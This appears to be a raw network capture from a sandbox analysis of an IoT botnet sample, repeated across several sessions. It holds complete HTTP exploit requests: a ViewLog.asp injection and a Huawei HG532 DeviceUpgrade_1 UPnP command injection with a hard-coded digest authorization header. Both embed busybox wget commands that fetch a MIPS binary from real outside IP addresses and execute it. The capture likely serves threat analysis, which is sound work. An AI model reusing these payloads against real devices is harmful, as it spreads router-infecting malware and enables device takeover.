                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                541192.168.2.156009831.200.5.498080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:21.911098003 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                542192.168.2.1544146156.230.24.9737215
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:23.027440071 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:22:27.257003069 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:22:33.400888920 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:22:45.436487913 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:23:09.751858950 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                543192.168.2.1556026156.254.95.4537215
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:23.028860092 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:22:24.633146048 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:22:26.553040028 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:22:30.584919930 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
